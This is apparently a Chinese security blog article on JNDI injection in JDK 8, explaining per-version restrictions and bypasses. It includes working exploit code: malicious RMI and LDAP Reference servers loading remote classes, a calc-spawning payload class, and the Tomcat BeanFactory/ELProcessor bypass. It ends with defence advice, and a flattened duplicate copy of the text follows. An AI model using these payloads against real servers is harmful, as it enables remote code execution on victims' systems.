老生常谈的JNDI——JDK8下的JNDI
字数 1876 2025-08-06 18:07:37

JNDI注入在JDK8各版本中的利用与绕过分析

0x01 前言

JNDI注入是Java安全中一个重要的攻击面,在多个著名漏洞中被作为最终触发点:

  • Fastjson的JDBCRowSetImpl利用链
  • Log4j2漏洞
  • Weblogic T3反序列化漏洞(CVE-2018-3191、CVE-2020-1464、CVE-2020-2551等)

本文重点分析JNDI注入在JDK8各版本中的利用条件与限制。

0x02 JNDI基础知识

JNDI(Java Naming and Directory Interface)是Java提供的命名和目录服务API,支持多种协议:

  • LDAP(轻量级目录访问协议)
  • CORBA(通用对象请求代理架构)
  • COS(通用对象服务)
  • RMI(Java远程方法调用注册表)
  • DNS(域名服务)

0x03 JNDI注入利用分析

1. JDK Version < 8u121

利用条件:无限制

利用方式:RMI + JNDI

攻击流程

  1. 搭建恶意RMI服务:
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("EvalClass2", "EvalClass2", "http://127.0.0.1:8888/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit", referenceWrapper);
  1. 准备恶意类:
public class EvalClass2 {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch(Exception e) {
            e.printStackTrace();
        }
    }
    public EvalClass2(){}
}
  1. 客户端触发:
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/Exploit");

调用链分析

  1. InitialContext.lookup()
  2. GenericURLContext.lookup()
  3. RegistryContext.lookup()
  4. RegistryContext.decodeObject()
  5. NamingManager.getObjectInstance()
  6. NamingManager.getObjectFactoryFromReference()
  7. URLClassLoader.loadClass() → 触发恶意类静态代码块

2. 8u121 < JDK Version < 8u191

限制:RMI协议被修复,新增trustURLCodebase默认为false

绕过方式:使用LDAP协议

攻击流程

  1. 使用Apache Directory Studio搭建LDAP服务
  2. 绑定恶意Reference:
InitialContext initialContext = new InitialContext();
Reference reference = new Reference("EvalClass2", "EvalClass2", "http://127.0.0.1:8888/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
initialContext.bind("ldap://192.168.129.134:10389/cn=ga0weI,dc=example,dc=com", referenceWrapper);
  1. 客户端触发:
InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://192.168.129.134:10389/cn=ga0weI,dc=example,dc=com");

调用链分析

  1. InitialContext.lookup()
  2. LdapURLContext.lookup()
  3. LdapCtx.c_lookup()
  4. NamingManager.getObjectInstance()
  5. 后续流程与RMI相同

3. JDK Version > 8u191

限制:LDAP协议也新增com.sun.jndi.ldap.object.trustURLCodebase默认为false

绕过方式:利用本地类加载+反射调用

利用条件

  1. 目标环境中存在可利用的ObjectFactory实现类
  2. 该类的getObjectInstance方法存在可利用的sink点

常用组合:BeanFactory + ELProcessor

攻击流程

  1. 搭建RMI服务:
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "Ga0weI=eval"));
ref.add(new StringRefAddr("Ga0weI", "Runtime.getRuntime().exec(\"calc\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
  1. 客户端触发:
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/Exploit");

原理分析

  1. 使用ResourceRef而非Reference
  2. 指定factory为org.apache.naming.factory.BeanFactory
  3. 通过forceString设置要调用的方法(eval)
  4. 通过自定义属性传入要执行的代码
  5. BeanFactory的getObjectInstance方法会解析这些配置并反射调用ELProcessor.eval()

关键点

  • 依赖Tomcat相关jar包(tomcat-catalina和tomcat-embed-el)
  • ELProcessor类在Tomcat8+中引入
  • 测试成功版本:Tomcat 9.0.55

0x04 总结

JDK版本范围 可利用协议 关键限制 绕过方式
<8u121 RMI/LDAP 直接利用
8u121-8u191 LDAP RMI的trustURLCodebase=false 改用LDAP协议
>8u191 无直接利用 LDAP的trustURLCodebase=false 利用本地存在的危险ObjectFactory实现类

防御建议

  1. 升级JDK到最新版本
  2. 检查应用中是否存在不安全的JNDI查找
  3. 限制出网流量,防止加载远程恶意类
  4. 移除不必要的危险依赖

学习启示
安全研究是一个不断深入的过程,随着防护措施的增强,攻击技术也在不断演进。理解底层原理才能更好地应对各种变化。

JNDI注入在JDK8各版本中的利用与绕过分析 0x01 前言 JNDI注入是Java安全中一个重要的攻击面,在多个著名漏洞中被作为最终触发点: Fastjson的JDBCRowSetImpl利用链 Log4j2漏洞 Weblogic T3反序列化漏洞(CVE-2018-3191、CVE-2020-1464、CVE-2020-2551等) 本文重点分析JNDI注入在JDK8各版本中的利用条件与限制。 0x02 JNDI基础知识 JNDI(Java Naming and Directory Interface)是Java提供的命名和目录服务API,支持多种协议: LDAP(轻量级目录访问协议) CORBA(通用对象请求代理架构) COS(通用对象服务) RMI(Java远程方法调用注册表) DNS(域名服务) 0x03 JNDI注入利用分析 1. JDK Version < 8u121 利用条件 :无限制 利用方式 :RMI + JNDI 攻击流程 : 搭建恶意RMI服务: 准备恶意类: 客户端触发: 调用链分析 : InitialContext.lookup() GenericURLContext.lookup() RegistryContext.lookup() RegistryContext.decodeObject() NamingManager.getObjectInstance() NamingManager.getObjectFactoryFromReference() URLClassLoader.loadClass() → 触发恶意类静态代码块 2. 8u121 < JDK Version < 8u191 限制 :RMI协议被修复,新增 trustURLCodebase 默认为false 绕过方式 :使用LDAP协议 攻击流程 : 使用Apache Directory Studio搭建LDAP服务 绑定恶意Reference: 客户端触发: 调用链分析 : InitialContext.lookup() LdapURLContext.lookup() LdapCtx.c_lookup() NamingManager.getObjectInstance() 后续流程与RMI相同 3. JDK Version > 8u191 限制 :LDAP协议也新增 com.sun.jndi.ldap.object.trustURLCodebase 默认为false 绕过方式 :利用本地类加载+反射调用 利用条件 : 目标环境中存在可利用的ObjectFactory实现类 该类的getObjectInstance方法存在可利用的sink点 常用组合 :BeanFactory + ELProcessor 攻击流程 : 搭建RMI服务: 客户端触发: 原理分析 : 使用ResourceRef而非Reference 指定factory为 org.apache.naming.factory.BeanFactory 通过 forceString 设置要调用的方法(eval) 通过自定义属性传入要执行的代码 BeanFactory的getObjectInstance方法会解析这些配置并反射调用ELProcessor.eval() 关键点 : 依赖Tomcat相关jar包(tomcat-catalina和tomcat-embed-el) ELProcessor类在Tomcat8+中引入 测试成功版本:Tomcat 9.0.55 0x04 总结 | JDK版本范围 | 可利用协议 | 关键限制 | 绕过方式 | |------------|----------|---------|---------| | <8u121 | RMI/LDAP | 无 | 直接利用 | | 8u121-8u191 | LDAP | RMI的trustURLCodebase=false | 改用LDAP协议 | | >8u191 | 无直接利用 | LDAP的trustURLCodebase=false | 利用本地存在的危险ObjectFactory实现类 | 防御建议 : 升级JDK到最新版本 检查应用中是否存在不安全的JNDI查找 限制出网流量,防止加载远程恶意类 移除不必要的危险依赖 学习启示 : 安全研究是一个不断深入的过程,随着防护措施的增强,攻击技术也在不断演进。理解底层原理才能更好地应对各种变化。